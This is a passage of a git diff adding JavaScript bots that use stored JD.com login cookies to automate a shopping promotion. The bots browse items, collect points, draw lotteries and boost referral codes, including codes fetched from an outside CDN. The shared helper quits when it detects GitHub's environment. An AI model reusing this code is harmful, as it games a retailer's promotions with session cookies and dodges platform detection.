+ "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141"
+ }
+ }
+}
+
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.2.2;14.2;%E4%BA%AC%E4%B8%9C/9.2.2 CFNetwork/1206 Darwin/20.1.0") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.2.2;14.2;%E4%BA%AC%E4%B8%9C/9.2.2 CFNetwork/1206 Darwin/20.1.0")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+function safeGet(data) {
+ try {
+ if (typeof JSON.parse(data) == "object") {
+ return true;
+ }
+ } catch (e) {
+ console.log(e);
+ console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);
+ return false;
+ }
+}
+
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie')
+ return [];
+ }
+ }
+}
+
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_mohe.js b/Task/jd_mohe.js
new file mode 100644
index 0000000..915a0f2
--- /dev/null
+++ b/Task/jd_mohe.js
@@ -0,0 +1,586 @@
+/*
+5G超级盲盒,可抽奖获得京豆,建议在凌晨0点时运行脚本,白天抽奖基本没有京豆,4小时运行一次收集热力值
+活动地址: https://isp5g.m.jd.com
+活动时间:2021-06-2到2021-07-31
+更新时间:2021-06-3 12:00
+脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js
+=================================Quantumultx=========================
+[task_local]
+#5G超级盲盒
+0 0,1-23/3 * * * jd_mohe.js, tag=5G超级盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+
+=================================Loon===================================
+[Script]
+cron "0 0,1-23/3 * * *" script-path=jd_mohe.js,tag=5G超级盲盒
+
+===================================Surge================================
+5G超级盲盒 = type=cron,cronexp="0 0,1-23/3 * * *",wake-system=1,timeout=3600,script-path=jd_mohe.js
+
+====================================小火箭=============================
+5G超级盲盒 = type=cron,script-path=jd_mohe.js, cronexpr="0 0,1-23/3 * * *", timeout=3600, enable=true
+ */
+const $ = new Env('5G超级盲盒');
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '', message, allMessage = '';
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+
+const JD_API_HOST = 'https://isp5g.m.jd.com';
+//邀请码一天一变化,已确定
+$.shareId = [];
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ console.log('5G超级盲盒,可抽奖获得京豆,建议在凌晨0点时运行脚本,白天抽奖基本没有京豆,4小时运行一次收集热力值\n' +
+ '活动地址: https://isp5g.m.jd.com\n' +
+ '活动时间:2021-06-2到2021-07-31\n' +
+ '更新时间:2021-06-3 12:00');
+ await updateShareCodesCDN()
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]);
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ message = '';
+ await TotalBean();
+ console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ await shareUrl();
+ await getCoin();//领取每三小时自动生产的热力值
+ await Promise.all([
+ task0(),
+ task1(),
+ ])
+ await taskList();
+ await getAward();//抽奖
+ }
+ }
+ if (allMessage) {
+ if ($.isNode()) await notify.sendNotify($.name, allMessage);
+ $.msg($.name, '', allMessage, {"open-url": "https://isp5g.m.jd.com"})
+ }
+ $.shareId = [...($.shareId || []), ...($.updatePkActivityIdRes || [])];
+ for (let v = 0; v < cookiesArr.length; v++) {
+ cookie = cookiesArr[v];
+ $.index = v + 1;
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]);
+ console.log(`\n\n自己账号内部互助`);
+ for (let item of $.shareId) {
+ console.log(`账号 ${$.index} ${$.UserName} 开始给 ${item}进行助力`)
+ const res = await addShare(item);
+ if (res && res['code'] === 2005) {
+ console.log(`次数已用完,跳出助力`)
+ break
+ }
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+
+
+async function task0() {
+ const confRes = await conf();
+ if (confRes.code === 200) {
+ const { brandList, skuList } = confRes.data;
+ if (skuList && skuList.length > 0) {
+ for (let item of skuList) {
+ if (item.state === 0) {
+ let homeGoBrowseRes = await homeGoBrowse(0, item.id);
+ console.log('商品', homeGoBrowseRes);
+ await $.wait(1000);
+ const taskHomeCoin0Res = await taskHomeCoin(0, item.id);
+ console.log('商品领取金币', taskHomeCoin0Res);
+ // if (homeGoBrowseRes.code === 200) {
+ // await $.wait(1000);
+ // await taskHomeCoin(0, item.id);
+ // }
+ } else {
+ console.log('精选好物任务已完成')
+ }
+ }
+ }
+ }
+}
+async function task1() {
+ const confRes = await conf();
+ if (confRes.code === 200) {
+ const { brandList, skuList } = confRes.data;
+ if (brandList && brandList.length > 0) {
+ for (let item of brandList) {
+ if (item.state === 0) {
+ let homeGoBrowseRes = await homeGoBrowse(1, item.id);
+ // console.log('店铺', homeGoBrowseRes);
+ await $.wait(1000);
+ const taskHomeCoin1Res = await taskHomeCoin(1, item.id);
+ console.log('店铺领取金币', taskHomeCoin1Res);
+ // if (homeGoBrowseRes.code === 200) {
+ // await $.wait(1000);
+ // await taskHomeCoin(1, item.id);
+ // }
+ } else {
+ console.log('精选店铺-任务已完成')
+ }
+ }
+ }
+ }
+}
+function addShare(shareId) {
+ return new Promise((resolve) => {
+ const url = `addShare?shareId=${shareId}&t=${Date.now()}`;
+ $.get(taskurl(url), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ console.log(`助力结果${data}`)
+ data = JSON.parse(data);
+ if (data['code'] === 200) {
+ // console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})助力好友 【${data['data']}】 成功\n`);
+ console.log(`\n助力好友 【${data['data']}】 成功\n`);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function conf() {
+ return new Promise((resolve) => {
+ const url = `conf`;
+ $.get(taskurl(url), (err, resp, data) => {
+ try {
+ // console.log('ddd----ddd', data)
+ data = JSON.parse(data);
+ // console.log('ddd----ddd', data)
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function homeGoBrowse(type, id) {
+ return new Promise((resolve) => {
+ const url = `homeGoBrowse?type=${type}&id=${id}`;
+ $.get(taskurl(url), (err, resp, data) => {
+ try {
+ // console.log('homeGoBrowse', data)
+ data = JSON.parse(data);
+ // console.log('homeGoBrowse', data)
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function taskHomeCoin(type, id) {
+ return new Promise((resolve) => {
+ const url = `taskHomeCoin?type=${type}&id=${id}`;
+ $.get(taskurl(url), (err, resp, data) => {
+ try {
+ // console.log('homeGoBrowse', data)
+ data = JSON.parse(data);
+ // console.log('homeGoBrowse', data)
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function getCoin() {
+ return new Promise((resolve) => {
+ const url = `getCoin?t=${Date.now()}`;
+ $.get(taskurl(url), (err, resp, data) => {
+ try {
+ // console.log('homeGoBrowse', data)
+ data = JSON.parse(data);
+ // console.log('homeGoBrowse', data)
+ if (data.code === 1001) {
+ console.log(data.msg);
+ $.msg($.name, '领取失败', `${data.msg}`);
+ $.done();
+ } else {
+ console.log(`成功领取${data.data}热力值`)
+ resolve(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function taskList() {
+ return new Promise((resolve) => {
+ const url = `taskList?t=${Date.now()}`;
+ $.get(taskurl(url), async (err, resp, data) => {
+ try {
+ // console.log('homeGoBrowse', data)
+ data = JSON.parse(data);
+ // console.log(`成功领取${data.data}热力值`)
+ if (data.code === 200) {
+ const { task4, task6, task5, task2, task1 } = data.data;
+ if (task4.finishNum < task4.totalNum) {
+ await browseProduct(task4.skuId);
+ await taskCoin(task4.type);
+ }
+ //浏览会场
+ if (task1.finishNum < task1.totalNum) {
+ await strollActive((task1.finishNum + 1));
+ await taskCoin(task1.type);
+ }
+ if (task2.finishNum < task2.totalNum) {
+ await strollShop(task2.shopId);
+ await taskCoin(task2.type);
+ }
+ // if (task5.finishNum < task5.totalNum) {
+ // console.log(`\n\n分享好友助力 ${task5.finishNum}/${task5.totalNum}\n\n`)
+ // } else {
+ // console.log(`\n\n分享好友助力 ${task5.finishNum}/${task5.totalNum}\n\n`)
+ // }
+ if (task4.state === 2 && task1.state === 2 && task2.state === 2) {
+ console.log('\n\n----taskList的任务全部做完了---\n\n')
+ console.log(`分享好友助力 ${task5.finishNum}/${task5.totalNum}\n\n`)
+ } else {
+ console.log(`请继续等待,正在做任务,不要退出哦`)
+ await taskList();
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//浏览商品(16个)
+function browseProduct(skuId) {
+ return new Promise((resolve) => {
+ const url = `browseProduct?0=${skuId}&t=${Date.now()}`;
+ $.get(taskurl(url), (err, resp, data) => {
+ try {
+ // console.log('homeGoBrowse', data)
+ data = JSON.parse(data);
+ // console.log('homeGoBrowse', data)
+ // console.log(`成功领取${data.data}热力值`)
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+// 浏览会场(10个)
+function strollActive(index) {
+ return new Promise((resolve) => {
+ const url = `strollActive?0=${index}&t=${Date.now()}`;
+ $.get(taskurl(url), (err, resp, data) => {
+ try {
+ // console.log('homeGoBrowse', data)
+ data = JSON.parse(data);
+ // console.log('homeGoBrowse', data)
+ // console.log(`成功领取${data.data}热力值`)
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//关注或浏览店铺(9个)
+function strollShop(shopId) {
+ return new Promise((resolve) => {
+ const url = `strollShop?shopId=${shopId}&t=${Date.now()}`;
+ $.get(taskurl(url), (err, resp, data) => {
+ try {
+ // console.log('homeGoBrowse', data)
+ data = JSON.parse(data);
+ // console.log('homeGoBrowse', data)
+ // console.log(`成功领取${data.data}热力值`)
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+// 加入会员(7)
+function strollMember(venderId) {
+ return new Promise((resolve) => {
+ const url = `strollMember?venderId=${venderId}&t=${Date.now()}`;
+ $.get(taskurl(url), (err, resp, data) => {
+ try {
+ // console.log('homeGoBrowse', data)
+ data = JSON.parse(data);
+ // console.log('homeGoBrowse', data)
+ // console.log(`成功领取${data.data}热力值`)
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+function taskCoin(type) {
+ return new Promise((resolve) => {
+ const url = `taskCoin?type=${type}&t=${Date.now()}`;
+ $.get(taskurl(url), (err, resp, data) => {
+ try {
+ // console.log('homeGoBrowse', data)
+ data = JSON.parse(data);
+ // console.log('homeGoBrowse', data)
+ // console.log(`成功领取${data.data}热力值`)
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+async function getAward() {
+ const coinRes = await coin();
+ if (coinRes.code === 200) {
+ const { total, need } = coinRes.data;
+ if (total > need) {
+ const times = Math.floor(total / need);
+ for (let i = 0; i < times; i++) {
+ await $.wait(2000);
+ let lotteryRes = await lottery();
+ if (lotteryRes.code === 200) {
+ console.log(`====抽奖结果====,${JSON.stringify(lotteryRes.data)}`);
+ console.log(lotteryRes.data.name);
+ console.log(lotteryRes.data.beanNum);
+ if (lotteryRes.data['prizeId'] && (lotteryRes.data['type'] !== '99' && lotteryRes.data['type'] !== '3' && lotteryRes.data['type'] !== '8' && lotteryRes.data['type'] !== '9')) {
+ message += `抽奖获得:${lotteryRes.data.name}\n`;
+ }
+ } else if (lotteryRes.code === 4001) {
+ console.log(`抽奖失败,${lotteryRes.msg}`);
+ break;
+ }
+ }
+ if (message) allMessage += `京东账号${$.index} ${$.nickName}\n${message}抽奖详情查看 https://isp5g.m.jd.com/#/myPrize${$.index !== cookiesArr.length ? '\n\n' : ''}`
+ } else {
+ console.log(`目前热力值${total},不够抽奖`)
+ }
+ }
+}
+//获取有多少热力值
+function coin() {
+ return new Promise((resolve) => {
+ const url = `coin?t=${Date.now()}`;
+ $.get(taskurl(url), (err, resp, data) => {
+ try {
+ // console.log('homeGoBrowse', data)
+ data = JSON.parse(data);
+ // console.log('homeGoBrowse', data)
+ // console.log(`成功领取${data.data}热力值`)
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//抽奖API
+function lottery() {
+ return new Promise((resolve) => {
+ const options = {
+ 'url': `${JD_API_HOST}/prize/lottery?t=${Date.now()}`,
+ 'headers': {
+ "accept": "*/*",
+ "accept-encoding": "gzip, deflate, br",
+ "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
+ "content-type": "application/x-www-form-urlencoded",
+ "cookie": cookie,
+ "referer": "https://isp5g.m.jd.com",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.get(options, (err, resp, data) => {
+ try {
+ // console.log('homeGoBrowse', data)
+ data = JSON.parse(data);
+ // console.log('homeGoBrowse', data)
+ // console.log(`成功领取${data.data}热力值`)
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function shareUrl() {
+ return new Promise((resolve) => {
+ const options = {
+ 'url': `${JD_API_HOST}/active/shareUrl?t=${Date.now()}`,
+ 'headers': {
+ "accept": "*/*",
+ "accept-encoding": "gzip, deflate, br",
+ "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
+ "content-type": "application/x-www-form-urlencoded",
+ "cookie": cookie,
+ "referer": "https://isp5g.m.jd.com",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.get(options, async (err, resp, data) => {
+ try {
+ console.log('好友邀请码', data)
+ data = JSON.parse(data);
+ if (data['code'] === 5000) {
+ console.log(`尝试多次运行脚本即可获取好友邀请码`)
+ }
+ // console.log('homeGoBrowse', data)
+ if (data['code'] === 200) {
+ if (data['data']) $.shareId.push(data['data']);
+ console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的${$.name}好友互助码】${data['data']}\n`);
+ console.log(`此邀请码一天一变化,旧的不可用`)
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function taskurl(url) {
+ return {
+ 'url': `${JD_API_HOST}/active/${url}`,
+ 'headers': {
+ "accept": "*/*",
+ "accept-encoding": "gzip, deflate, br",
+ "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
+ "content-type": "application/x-www-form-urlencoded",
+ "cookie": cookie,
+ "referer": "https://isp5g.m.jd.com",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+}
+function updateShareCodesCDN(url = 'https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_shareCodes.json') {
+ return new Promise(resolve => {
+ $.get({
+ url ,
+ timeout: 10000,
+ headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}}, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ $.updatePkActivityIdRes = JSON.parse(data);
+ if ($.updatePkActivityIdRes && $.updatePkActivityIdRes.length) {
+ // $.shareId = $.updatePkActivityIdRes || [];
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1"
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
